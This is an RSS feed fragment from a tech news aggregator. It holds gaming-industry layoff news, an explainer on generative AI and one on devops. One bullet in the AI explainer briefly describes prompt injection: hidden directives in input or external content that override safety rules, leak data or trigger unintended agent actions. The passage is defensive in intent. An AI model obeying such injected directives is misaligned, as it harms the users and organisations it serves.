<guid isPermaLink="true">https://tsecurity.de/de/3666265/windows-tipps/we-are-expanding-opportunities-to-collaborate-former-xbox-studio-compulsion-games-hopes-to-team-up-with-other-devs-following-layoffs-and-divestment/</guid>
<pubDate>Mon, 13 Jul 2026 21:40:45 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After suffering layoffs and divestment from Microsoft and Xbox, Compulsion Games wants to collaborate with other studios in the gaming industry.]]></content:encoded>
</item>
<item>
<title><![CDATA["The business side ... always gets the last remark": Warframe director says Destiny 2 dying is "existentially threatening" for all game developers]]></title>
<description><![CDATA[Warframe creative director Rebecca Ford says that the sudden death of Bungie's looter shooter Destiny 2 is "horrible news" for game devs in the industry.]]></description>
<link>https://tsecurity.de/de/3666141/windows-tipps/the-business-side-always-gets-the-last-remark-warframe-director-says-destiny-2-dying-is-existentially-threatening-for-all-game-developers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666141/windows-tipps/the-business-side-always-gets-the-last-remark-warframe-director-says-destiny-2-dying-is-existentially-threatening-for-all-game-developers/</guid>
<pubDate>Mon, 13 Jul 2026 20:25:54 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Warframe creative director Rebecca Ford says that the sudden death of Bungie's looter shooter Destiny 2 is "horrible news" for game devs in the industry.]]></content:encoded>
</item>
<item>
<title><![CDATA[What is generative AI? How artificial intelligence creates content]]></title>
<description><![CDATA[Generative AI is a kind of artificial intelligence that creates new content, including text, images, audio, and video, based on patterns it has learned from existing data.



Today’s generative models are typically built on foundation-model architectures such as large-language models (LLMs) and m...]]></description>
<link>https://tsecurity.de/de/3665675/ai-nachrichten/what-is-generative-ai-how-artificial-intelligence-creates-content/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665675/ai-nachrichten/what-is-generative-ai-how-artificial-intelligence-creates-content/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Generative AI is a kind of <a href="https://www.computerworld.com/article/1647870/what-is-artificial-intelligence.html">artificial intelligence</a> that creates new content, including text, images, audio, and video, based on patterns it has learned from existing data.</p>



<p class="wp-block-paragraph">Today’s generative models are typically built on foundation-model architectures such as <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large-language models (LLMs)</a> and multimodal systems, enabling them to carry on conversations, answer questions, write stories, generate code, and produce images or videos from brief prompts.</p>



<p class="wp-block-paragraph"><em>Generative AI</em> is different from <em>discriminative AI</em>, which draws distinctions between different kinds of input. Where discriminative AI answers questions like “Is this image of a rabbit or a lion?”, generative AI instead responds to prompts such as “Describe to me how a rabbit and lion look different from one another” or “Draw me a picture of a lion and a rabbit sitting next to each other” — and in both cases produces text or imagery that, while grounded in the AI’s training data, isn’t just a copy of something that already existed.</p>



<aside class="fakesidebar">
<h4>[ <u><a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">Read next: Large language models: The foundations of generative AI</a></u> ]</h4>
</aside>




<p class="wp-block-paragraph">Just a few years ago, generative AI was once a novelty focused on chatbots and artistic image generation. Today, it has become a core enterprise technology, and powers everything from content creation and software development to customer support and analytics workflows. But with that power comes a <a href="https://www.csoonline.com/article/4076511/4-factors-creating-bottlenecks-for-enterprise-genai-adoption.html">new set of challenges</a> — from model alignment and hallucination to governance and data-integration hurdles.</p>



<p class="wp-block-paragraph">In this article, we’ll look at how generative AI works, explore how it has evolved into the foundation-model era, examine how to implement it effectively, and offer best practices for getting value out of it, today and in the future.</p>



<h2 class="wp-block-heading"><strong>How does generative AI work?</strong></h2>



<p class="wp-block-paragraph">For decades, early artificial-intelligence efforts often focused on rule-based systems or <a href="https://www.infoworld.com/article/4061121/a-brief-history-of-ai.html">narrowly trained models</a> that were built for one task at a time. While these efforts produced useful systems that could reason and solve human tasks, they were generally a far cry from sci-fi visions of thinking machines. Programs that could talk to people never seemed to get very far past the level of <a href="https://en.wikipedia.org/wiki/ELIZA">ELIZA</a>, a “computer therapist” created at MIT in the mid 1960s; even Siri and Alexa after much fanfare were revealed to be fairly limited.</p>



<p class="wp-block-paragraph">The big structural shift that gave birth to modern generative AI came with the concept of a <em>transformer, </em>first introduced in “<a href="https://arxiv.org/abs/1706.03762">Attention Is All You Need</a>,” a 2017 paper from Google researchers.</p>



<p class="wp-block-paragraph">Using a transformer architecture as a basis, you can build a system that derives meaning from analyzing long sequences of input <em>tokens</em> (words, sub-words, bytes) to understand how different tokens might be related to one another, then determines how likely any given token is to come next in a sequence, given the others. In AI lingo, we call these systems <em>models.</em> Because a model analyzes very large datasets and parameter counts, it can pick up on statistical patterns and knowledge implicitly embedded in the data.</p>



<p class="wp-block-paragraph">This is all easier said than done. The process of adjusting a model’s internal parameters so it gets better at predicting the next token in sequences is called <em>training</em>. During training, the model repeatedly guesses the next token in a given sequence, compares its prediction to the actual one, measures the error, and updates its parameters to reduce that error across billions of examples. Over time, that process teaches the model the statistical relationships that will allow it to generate coherent language (or code, or images) later.</p>



<h2 class="wp-block-heading"><strong>What is a foundation model?</strong></h2>



<p class="wp-block-paragraph">You’ll often hear the word <em>large</em> used for transformer-based models of these types, like the LLMs we mentioned earlier. <em>Large</em> in this context refers to the large number of internal numerical values that the model adjusts during training to represent what it has learned, along with breadth and diversity of data used to train the model and the underlying compute resources powering this whole process.</p>



<p class="wp-block-paragraph">This is in contrast with the narrow models of the earlier era of AI/ML, which werebuilt for one purpose and trained on a limited dataset. For instance, a spam filter may be very good at what it does, but it’s only trained on email data and all it can do is classify emails. Large models, by contrast, serve as what’s known as <em>foundation models</em>. They’re trained broadly on diverse data (text, code, images, or multimodal data) and then adapted or specialized for many downstream tasks.</p>



<p class="wp-block-paragraph">These foundation models are the basis for most of the popular generative AI tools and services on the market today. They can be specialized in several ways:</p>



<ul class="wp-block-list">
<li><strong>Fine-tuning:</strong> Giving a foundation model further training on a smaller, task-specific dataset</li>



<li><strong>Retrieval-augmented generation</strong> <strong>(RAG):</strong> Giving the model the ability to pull in external knowledge when asked a question</li>



<li> <strong>Prompt engineering</strong>: Tailoring a query so the model gives the sort of answers you’re looking for.</li>
</ul>



<h2 class="wp-block-heading"><strong>How do AI systems write computer code?</strong></h2>



<p class="wp-block-paragraph">One of the surprising discoveries of the gen AI era was that in recent years was that foundation models trained on natural-language text can also, when fine-tuned with code examples, also write computer code — often better than many purpose-built systems. Still, it makes sense, when you think about it — after all, high-level computer languages are designed by humans and ultimately based on human language.</p>



<p class="wp-block-paragraph">This <a href="https://www.infoworld.com/article/2338500/llms-and-the-rise-of-the-ai-code-generators.html?utm_source=chatgpt.com">2023 InfoWorld article</a> highlights how models like PaLM, LLaMA and other transformer-based systems fine-tuned on code repositories propelled this shift, but since AI giants like <a href="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html">OpenAI</a> have moved into this space. This all matters because code generation (or code-assisted productivity) has become a key enterprise use case of generative AI — perhaps <em>the </em>key use, given the industry’s enthusiastic adoption of it.</p>



<h2 class="wp-block-heading"><strong>What are AI agents?</strong></h2>



<p class="wp-block-paragraph">So far, we’ve been talking about chatbots, writing assistants, image-generation tools. They respond to prompts, output text or images, and then stop. A new category of tool called <em><a href="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html">agentic AI</a></em> goes further: it <em>plans</em>, <em>executes</em>, and in many cases <em>learns</em> as it works.</p>



<p class="wp-block-paragraph">Because large models already understand language, code, and even structured data to some extent, they can be repurposed to generate not only descriptive text but <em>operational instructions</em>. For example: an agent might parse the intent “generate a sales-report”, then format internal calls like getData(salesDB, region=NA, period=lastQuarter), and then call an API, all by generating text that’s interpreted as instructions. The <a href="https://www.infoworld.com/article/4064169/how-mcp-is-making-ai-agents-actually-do-things-in-the-real-world.html.">MCP framework</a> standardizes the “language” of those instructions and the plug-points into tools and data so that the model doesn’t need bespoke integrations for each new workflow.</p>



<p class="wp-block-paragraph">These kinds of autonomous agents have several enterprise use cases:</p>



<ul class="wp-block-list">
<li><strong>Software automation</strong>: Agents that generate code, call unit tests, deploy builds, monitor logs and even roll back changes autonomously.</li>



<li><strong>Customer support</strong>: Instead of simply drafting responses, agents interact with CRM APIs, update ticket statuses, escalate issues, and trigger follow-up workflows.</li>



<li><strong>IT operations/AIOps</strong>: Agents <a href="https://www.cio.com/article/222623/7-things-to-know-about-ai-in-the-data-center.html">monitor infrastructure, identify anomalies, open/close tickets, or auto-remediate</a> based on defined rules and context from logs.</li>



<li><strong>Security</strong>: Agents may detect threats, initiate alerts, isolate compromised systems, or even attempt to manage threat containment — though this raises new risks.</li>
</ul>



<h2 class="wp-block-heading"><strong>How can you implement generative AI in the enterprise?</strong></h2>



<p class="wp-block-paragraph">We’ve now touched on <em>what</em> generative AI can do. But <em>how</em> can you make it work reliably in your business. The difference between a pilot and full-scale deployment often comes down to systems, structure and governance as much as to models themselves. <em>InfoWorld’</em>s Matt Asay offers a <a href="https://www.infoworld.com/article/4044919/enterprise-essentials-for-generative-ai.html">deep dive into enterprise gen AI essentials</a>, but here are some important points to keep in mind:</p>



<p class="wp-block-paragraph"><strong>Choosing between API, open-source or custom fine-tuned models. </strong>One of the first major decisions for any enterprise project is: do you use a model via an API (e.g., from a vendor like OpenAI or Anthropic), deploy an open-source model internally, or build/fine-tune a custom model yourself? Each has trade-offs.</p>



<p class="wp-block-paragraph">APIs offer speed and minimal setup, but may expose data, limit customization or accrue high cost — and will leave you at the mercy of your vendor. Open source allows internal control and may ease fine-tuning, but requires infrastructure, expertise, and support. Custom fine-tuning gives you the tightest alignment to your use-case, but lengthens time to value and increases risk.</p>



<p class="wp-block-paragraph"><strong>Governance, data privacy and compliance. </strong>Deploying generative AI in an enterprise setting raises new governance, privacy and regulatory issues. For example: Who owns the data that’s ingested? How is proprietary data protected if you call a third-party API? What traceability exists for model outputs—a huge question for regulated industries? One useful framework is covered in “A GRC framework for securing generative AI” Data governance <a href="https://www.infoworld.com/article/2336154/how-data-governance-must-evolve-to-meet-the-generative-ai-challenge.html">must adapt for the new era</a>,  and <a href="https://www.infoworld.com/article/3604732/a-grc-framework-for-securing-generative-ai.html">new frameworks are evolving to help</a>.</p>



<p class="wp-block-paragraph"><strong>Human-in-the-loop review. </strong>Even the best models make mistakes and cannot simply be put on autopilot. You need a <em>human-in-the-loop (HITL)</em> process: real people need to review outputs, validate for bias, approve high-stakes content, and tune prompts or models based on feedback. Incorporating HITL checkpoints helps mitigate risk and improve overall quality.</p>



<p class="wp-block-paragraph"><strong>Integration with existing systems and RAG pipelines. </strong><a href="https://www.infoworld.com/article/2337050/how-rag-completes-the-generative-ai-puzzle.html">Retrieval-augmented generation</a>, which we touched on earlier, connects foundation models into business workflows, systems, and enterprise data stores. RAG can bind LLMs to your organization’s internal knowledge bases, thereby reducing <em>hallucinations </em>(which we’ll discuss in a moment) and increasing the relevance of gen AI output.</p>



<aside class="sidebar">
<h3><strong> Implementation best practices for generative AI</strong></h3>
<p> Here are four AI best practices to keep in mind:</p>
<ol>
<li> Guardrails: Define clear operational boundaries. Examples: restrict sensitive data output, enforce access controls, log model interactions.</li>
<li> Prompt engineering: Because much of what the model will do depends on how it’s prompted, invest in prompt design, versioning, review, and testing.</li>
<li> Evaluation metrics: Define appropriate KPIs (accuracy, latency, cost, business outcome), monitor them and iterate.</li>
<li> Model observability: Treat generative-AI systems like software — monitor performance, detect drift, handle failures gracefully, audit outputs and maintain traceability.</li>
</ol>
</aside>




<h2 class="wp-block-heading"><strong>What causes AI hallucinations?</strong></h2>



<p class="wp-block-paragraph">Probably the biggest limitation of generative AI is what those in the industry call <em>hallucinations</em>, which is a perhaps misleading term for output that is, by the standards of humans who use it, false or incorrect.  </p>



<p class="wp-block-paragraph">Every generative AI system, no matter how advanced, is built around prediction. Remember, a model doesn’t truly <em>know</em> facts—it looks at a series of tokens, then calculates, based on analysis of its underlying training data, what token is most likely to come next. This is what makes the output fluent and human-like, but if its prediction is wrong, that will be perceived as a hallucination.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/GenAI_takeaways.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Table describing five key points about generatvie AI" class="wp-image-4082262" width="1024" height="648" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Generative AI, foundation models, agentic AI, governance, and implementation strategy top the list of top generative AI takeaways.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">Because the model doesn’t distinguish between something that’s known to be true and something likely to follow on from the input text it’s been given, hallucinations are a direct side effect of the statistical process that powers generative AI. And don’t forget that we’re often pushing AI models to come up with answers to questions that we, who also have access to that data, can’t answer ourselves.</p>



<p class="wp-block-paragraph">In text models, hallucinations might mean inventing quotes, fabricating references, or misrepresenting a technical process. In code or data analysis, it can produce <a href="https://www.infoworld.com/article/3822251/how-to-keep-ai-hallucinations-out-of-your-code.html">syntactically correct but logically wrong results</a>. Even RAG pipelines, which provide real data context to models, only <em>reduce</em> hallucination—they don’t eliminate it. Enterprises using generative AI need <a href="https://www.cio.com/article/4073606/reducing-llm-hallucinations-in-enterprise-systems.html">review layers, validation pipelines, and human oversight</a> to prevent these failures from spreading into production systems.</p>



<h2 class="wp-block-heading"><strong>What are some other problems with generative AI?</strong></h2>



<p class="wp-block-paragraph">Generative AI has proven to be such a disruptive technology that’s stoking near-apocalyptic fears that it will result in a superintelligence that will enslave or destroy humanity. Meanwhile, in the present day, increasingly troubling reports of so-called <a href="https://www.psychologytoday.com/us/blog/urban-survival/202507/the-emerging-problem-of-ai-psychosis">AI psychosis</a> are emerging, where people have mental health episodes triggered by the uncanny and sometimes sycophantic ways chatbots affirm whatever you talk to them about and try to keep the conversation going.</p>



<p class="wp-block-paragraph">Compared to such existential questions, the following business-related problems may seem petty. But they’re real issues for enterprises considering investing in AI tools.</p>



<ul class="wp-block-list">
<li><strong>Data leakage and regulatory risk. </strong>When a model is fine-tuned or prompted with sensitive information, that data may be memorized and unintentionally reproduced. Using <a href="https://www.csoonline.com/article/3819170/nearly-10-of-employee-gen-ai-prompts-include-sensitive-data.html">third-party APIs without strict controls</a> can expose proprietary or personally identifiable information (PII). Regulatory frameworks like GDPR and HIPAA require explicit governance around where training data resides and how inference results are stored.</li>



<li><strong>Prompt injection </strong>occurs when an attacker manipulates a model’s instructions—embedding hidden directives or malicious payloads in user input or external content the model reads. This can override safety rules, expose internal data, or execute unintended actions in agentic systems. Guardrails that sanitize inputs, restrict tool-calling permissions, and validate outputs are becoming essential.</li>



<li><strong>Copyright and content ownership. </strong>Many foundation models are trained on data scraped from the public internet, creating disputes over copyright and data provenance. Enterprises using generated output commercially need to confirm usage rights and review indemnity terms from vendors.</li>



<li><strong>Unrealistic productivity expectations. </strong>Finally, organizations sometimes expect generative AI to deliver instant productivity gains. The reality, it turns out, is more <a href="https://leaddev.com/velocity/ai-doesnt-make-devs-as-productive-as-they-think-study-finds">mixed</a>. Enterprise adoption requires infrastructure, governance, retraining, and cultural change. The models accelerate work once properly integrated, but they don’t automatically replace human judgment or oversight.</li>
</ul>



<p class="wp-block-paragraph">The current generation of enterprise AI systems includes several layers of defense against these risks:</p>



<ul class="wp-block-list">
<li><em>Guardrails</em> that constrain model behavior and filter unsafe outputs.</li>



<li><em>Model validation</em> frameworks that measure factual accuracy and consistency before deployment.</li>



<li><em>Policy layers</em> that enforce compliance rules, redact sensitive data, and log model actions.</li>
</ul>



<p class="wp-block-paragraph">These safeguards reduce—but don’t remove—the inherent uncertainty that defines generative AI.</p>



<h2 class="wp-block-heading"><strong>GenAI: essential for the enterprise</strong></h2>



<p class="wp-block-paragraph">Generative AI has evolved from a novelty into a core layer of enterprise technology. Foundation models and agentic systems now power automation, analytics, and creative workflows — but they remain fundamentally probabilistic tools. Their strength lies in scale and adaptability, not perfect understanding.</p>



<p class="wp-block-paragraph">For organizations, success depends less on chasing model breakthroughs than on integrating these systems responsibly: building guardrails, maintaining oversight, and aligning them with real business needs. Used wisely, generative AI can amplify human capability rather than replace it.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is devops? Bringing dev and ops together to build better software]]></title>
<description><![CDATA[A portmanteau of “development” and “operations,” devops emerged as a way of bringing together two previously separate groups responsible for the building and deploying of software.



In the old world, developers (devs) typically wrote code before throwing it over to the system administrators (op...]]></description>
<link>https://tsecurity.de/de/3665673/ai-nachrichten/what-is-devops-bringing-dev-and-ops-together-to-build-better-software/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665673/ai-nachrichten/what-is-devops-bringing-dev-and-ops-together-to-build-better-software/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:38 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A portmanteau of “development” and “operations,” devops emerged as a way of bringing together two previously separate groups responsible for the building and deploying of software.</p>



<p class="wp-block-paragraph">In the old world, developers (devs) typically wrote code before throwing it over to the system administrators (operations, or ops) to deploy and integrate that code. But as the industry shifted towards <a href="https://www.infoworld.com/article/2259475/what-is-agile-methodology-modern-software-development-explained.html">agile development</a> and <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html">cloud-native computing</a>, many organizations reoriented around modern, cloud-native practices in the pursuit of faster, better releases.</p>



<p class="wp-block-paragraph">This required a new way to perform these key functions in a more streamlined, efficient, and cohesive way, one where the old frustrations of disconnected dev and ops functions would be eliminated. With two groups working together, developers can rapidly roll out small code enhancements via <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration and delivery</a> rather than spending years on “big bang” product releases.</p>



<p class="wp-block-paragraph">Devops was born at cloud-native companies like Facebook, Netflix, Spotify, and Amazon; but it’s become one of the defining technology industry trends of the past decade, primarily because it bridges so many of the changes that have shaped modern software development.</p>



<p class="wp-block-paragraph">As agile development and cloud-native computing have become ubiquitous, devops has enabled the entire industry to speed up its software development cycles. Thus, devops has now thoroughly infiltrated the enterprise, especially in organizations that rely on software to run their business, such as banks, airlines, and retailers. <a>And it’s spawned a host of other “ops” practices, some of which we’ll touch on here.</a><a href="https://www.infoworld.com/article/2255028/what-is-devops-bringing-dev-and-ops-together-for-better-software.html#_msocom_1">[JF1]</a> </p>



<h2 class="wp-block-heading"><strong>Devops practices</strong></h2>



<p class="wp-block-paragraph">Devops requires a shift in mindset from both sides of the dev and ops divide. Development teams should focus on learning and adopting agile processes, standardizing platforms, and helping drive operational efficiencies. Operations teams must now focus on improving stability and velocity, while also reducing costs by working hand in hand with the developer team.</p>



<p class="wp-block-paragraph">Broadly speaking, these teams need to all speak a common language and there needs to be a shared goal and understanding of each other’s key skills for devops to thrive.</p>



<p class="wp-block-paragraph">More specifically, engineers Damon Edwards and John Willis <a href="https://www.devopsgroup.com/insights/resources/diagrams/all/calms-model-of-devops/">created the CALMS model</a> to bring together what are commonly understood to be the key principles of devops:</p>



<ul class="wp-block-list">
<li>Culture: One that embraces <a href="https://www.infoworld.com/article/2259475/what-is-agile-methodology-modern-software-development-explained.html">agile methodologies</a> and is open to change, constant improvement, and accountability for the end-to-end quality of software.</li>



<li>Automation: Automating away toil is a key goal for any devops team.</li>



<li>Lean: Ensuring the smooth flow of software through key steps as quickly as possible.</li>



<li>Measurement: You can’t improve what you don’t measure. Devops pushes for a culture of constant measurement and feedback that can be used to improve and pivot as required, on the fly.</li>



<li>Sharing: Knowledge sharing across an organization is a key tenet of devops.</li>
</ul>



<p class="wp-block-paragraph">“Who could go back to the old way of trying to figure out how to get your laptop environment looking the same as the production environment? All these things make it so clear that there’s a better way to work. I think it’s very tough to turn back once you’ve done things like continuous integration, like continuous delivery. Once you’ve experienced it, it’s really tough to go back to the old way of doing things,” Kim <a href="https://www.infoworld.com/article/2258333/devops-expert-gene-kim-how-devops-helps-business-meet-challenging-times.html">told InfoWorld</a>.</p>



<h2 class="wp-block-heading"><strong>What is a devops engineer?</strong></h2>



<p class="wp-block-paragraph">Naturally, the emergence of devops has spawned a whole new set of job titles, most prominent of which is the catch-all <a href="https://www.infoworld.com/article/2259407/what-is-a-devops-engineer-and-how-do-you-become-one.html">devops engineer</a>.</p>



<p class="wp-block-paragraph">Generally speaking, this role is the natural evolution of the system administrator — but in a world where developers and ops work in close tandem to deliver better software. This person should have a blend of programming and system administrator skills so that he or she can effectively bridge those two sides of the team.</p>



<p class="wp-block-paragraph">That bridging of the two sides requires strong social skills more than technical. As Kim put it, “one of the most important skills, abilities, traits needed in these pioneering rebellions — using devops to overthrow the ancient powerful order, who are very happy to do things the way they have for 30 to 40 years — are the cross-functional skills to be able to reach across the table to their business counterparts and help solve problems.”</p>



<p class="wp-block-paragraph">This person, or team of people, will also have to be a born optimizer, tasked with continually improving the speed and quality of software delivery from the team, be that through better practices, removing bottlenecks, or applying automation to smooth out software delivery.</p>



<p class="wp-block-paragraph">The good news is that these skills are valuable to the enterprise. <a href="https://www.infoworld.com/article/2263101/devops-salaries-continued-to-rise-during-the-pandemic.html">Salaries for this set of job titles have risen steadily over the years</a>, with 95% of devops practitioners making more than $75,000 a year in salary in 2020 in the United States. In Europe and the UK, where salaries are lower across the board, 71% made more than $50,000 a year in 2020, up from 67% in 2019.</p>



<h2 class="wp-block-heading"><strong>Key devops tools</strong></h2>



<p class="wp-block-paragraph">While devops is at its heart a cultural shift, a set of tools has emerged to help organizations adopt devops practices.</p>



<p class="wp-block-paragraph">This stack typically includes <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a>, configuration management, collaboration, version control, <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration and delivery (CI/CD)</a>, deployment automation, testing, and monitoring tools.</p>



<p class="wp-block-paragraph">Here are some of the tools/categories that are increasingly relevant in 2025, and what is changing:</p>



<ul class="wp-block-list">
<li><strong>CI/CD and delivery automation</strong>: Traditional tools like Jenkins remain in many stacks, but newer orchestration tools and CLI-driven or GitOps-centric platforms are growing in importance (e.g. ArgoCD, Flux, Tekton). Also, platforms that integrate more tightly with monitoring, secrets management, drift detection, and policy enforcement are gaining traction.</li>



<li><strong>Security, compliance, and devsecops tooling</strong>: Security tools are increasingly integrated into devops pipelines. Expect to see more use of static analysis (SAST), dynamic testing (DAST), dependency and supply chain scanning (SCA), secret management, and policy as code. The push is toward embedding security earlier and <a href="https://www.infoworld.com/article/3965374/bringing-devops-devsecops-and-mlops-together.html">bridging gaps between dev, security, and machine learning teams</a>. (InfoWorld:)</li>



<li><strong>AI  and automation augmentation</strong>: AI-assisted tools are increasingly part of tooling stacks: auto-suggestions in CI/CD, anomaly detection, predictive scaling, intelligent test suite selection, and more. The hope is that these tools will reduce manual interventions and improve reliability. Tools that are “AI ready”—that is, they integrate well with AI or have mature built-in automation or assistance—increasingly <a href="https://www.infoworld.com/article/4052402/how-to-choose-the-right-ai-agent-development-tools.html">stand out from the pack</a>.</li>
</ul>



<h2 class="wp-block-heading"><strong>Devops challenges</strong></h2>



<p class="wp-block-paragraph">Even as devops becomes more widely adopted, there remain real obstacles that can slow progress or limit impact. One major challenge is the persistent <strong>skills gap</strong>. The modern devops engineer (or team) is expected to master not just source control, CI/CD, and scripting, but also cloud architecture, infrastructure as code, security best practices, observability, and strong cross-team communication. In many organizations these capabilities are uneven: some teams excel, others lag behind. A 2024 survey showed that while 83% of developers report participating in devops activities, <a href="https://www.infoworld.com/article/2337172/most-developers-have-adopted-devops-survey-says.html">using multiple CI/CD tools was correlated with <em>worse</em> performance</a> — a sign that complexity without deep expertise can backfire.</p>



<p class="wp-block-paragraph"><strong>Toolchain fragmentation and complexity </strong>is a related issue. Devops toolchains have sprouted into a sometimes bewildering array of packages and techniques to master: version control, CI build/test, security scanning, artifact management, monitoring, observability, deployment, secret management, and more.</p>



<p class="wp-block-paragraph">The more tools you have, the more difficult it becomes to integrate them cleanly, manage their versions, ensure compatibility, and avoid duplicated effort. Organizations often get stuck with “tool sprawl” — tools chosen by different teams, legacy systems, or overlapping functionalities — which introduce friction, maintenance burden, and sometimes vulnerabilities.</p>



<p class="wp-block-paragraph">Finally, although devops has spread far and wide, there is still <strong>cultural resistance and alignment</strong>. Devops isn’t just about tools and processes; it’s about collaboration, shared responsibility, and continuous feedback. Teams rooted in traditional silos (dev vs ops, or security separate) may <a href="https://www.infoworld.com/article/2337372/10-big-devops-mistakes-and-how-to-avoid-them.html">resist changes to roles and workflows</a>. Leadership support, communication of shared goals, trust, and allowance for continuous learning are all necessary.</p>



<p class="wp-block-paragraph">Many CIOs <a href="https://www.cio.com/article/3552944/6-enterprise-devops-mistakes-to-avoid.html">focus too much on tools or implementation first</a>, rather than organizational culture and behaviors; but without addressing culture, even the best tools or processes may not yield the hoped-for velocity, quality, or reliability. Organizations that succeed here tend to have proactive strategies: dedicated training programs, mentorship, internal “guilds,” pairing junior and senior engineers, and making sure leadership supports ongoing learning rather than one-off bootcamps.</p>



<h2 class="wp-block-heading"><strong>Why do devops?</strong></h2>



<p class="wp-block-paragraph">Whoever you ask will tell you that devops is a major culture shift for organizations, so why go through that pain at all?</p>



<p class="wp-block-paragraph">Devops aims to combine the formerly conflicting aims of developers and system administrators. Under its principles, all software development aims to meet business demands, add functionality, and improve the usability of applications while also ensuring those applications are stable, secure, and reliable. Done right, this improves the velocity and quality of your output, while also improving the lives of those working on these outcomes.</p>



<h2 class="wp-block-heading"><strong>Does devops save money — or add cost?</strong></h2>



<p class="wp-block-paragraph">Devops teams are recognizing that speed and agility are only part of success — unchecked cloud bills and waste undermine long-term sustainability. Waste in devops often comes in the form of “<a href="https://www.infoworld.com/article/4010176/devops-debt-the-hidden-tax-on-innovation.html?utm_source=chatgpt.com">devops</a> debt”— idle cloud capacity, dead code, or false-positive security alerts—which was called a “<a href="https://www.infoworld.com/article/4010176/devops-debt-the-hidden-tax-on-innovation.html">hidden tax on innovation</a>” in recent Java-environment studies.</p>



<p class="wp-block-paragraph"> Embedding <a href="https://www.cio.com/article/3839075/finops-breaks-out-of-the-cloud.html">finops</a> practices can help fight these costs. Teams should <a href="https://www.infoworld.com/article/4013485/how-to-shift-left-on-finops-and-why-you-need-to.html">shift left on cost</a>: estimating costs when spinning up new environments, resizing instances, and scaling down unused resources before they become runaway expenses.</p>



<h2 class="wp-block-heading"><strong>How to start with devops</strong></h2>



<p class="wp-block-paragraph">There are lots of resources for help getting started with devops, <a href="https://www.amazon.com/DevOps-Handbook-World-Class-Reliability-Organizations-ebook/dp/B01M9ASFQ3">including Kim’s own <em>Devops Handbook</em></a>, or you can enlist the help of external consultants. But you have to be methodical and focus on your people more than on the tools and technology you will eventually use <a href="https://www.infoworld.com/article/2258896/6-ways-to-secure-buy-in-for-your-devops-journey.html">if you want to ensure lasting buy-in across the business</a>.</p>



<p class="wp-block-paragraph">A proven route to achieving this is a “land and expand” strategy, where a small group starts by mapping key value streams and identifying a single product team or workload for trialing devops practices. If this team is successful in proving the value of the shift, you will likely start to get interest from other teams and from senior leadership.</p>



<p class="wp-block-paragraph">If you are at the start of your devops journey, however, make sure you are prepared for the disruption a change like this can have on your organization, and keep your eye on the prize of building better, faster, stronger software.</p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<p class="wp-block-paragraph"><a></a></p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">More on devops:</p>



<ul class="wp-block-list">
<li><a href="https://www.infoworld.com/article/4010176/devops-debt-the-hidden-tax-on-innovation.html">Devops debt: The hidden tax on innovation</a></li>



<li><a href="https://www.infoworld.com/article/2337372/10-big-devops-mistakes-and-how-to-avoid-them.html">10 big devops mistakes and how to avoid them</a></li>



<li><a href="https://www.infoworld.com/article/3621681/smarter-devops-how-to-avoid-deployment-horrors.html">Smarter devops: How to avoid deployment horrors</a><div class="card__info"></div></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA["Our next steps are to mobilize": Bethesda union members are protesting Xbox's layoffs with a 'Save Our Devs' march next week after 440 ZeniMax cuts]]></title>
<description><![CDATA[Union workers at Bethesda are marching against Xbox layoffs at ZeniMax studios next week during a protest that will be held across four cities.]]></description>
<link>https://tsecurity.de/de/3660599/windows-tipps/our-next-steps-are-to-mobilize-bethesda-union-members-are-protesting-xboxs-layoffs-with-a-save-our-devs-march-next-week-after-440-zenimax-cuts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660599/windows-tipps/our-next-steps-are-to-mobilize-bethesda-union-members-are-protesting-xboxs-layoffs-with-a-save-our-devs-march-next-week-after-440-zenimax-cuts/</guid>
<pubDate>Fri, 10 Jul 2026 20:26:27 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Union workers at Bethesda are marching against Xbox layoffs at ZeniMax studios next week during a protest that will be held across four cities.]]></content:encoded>
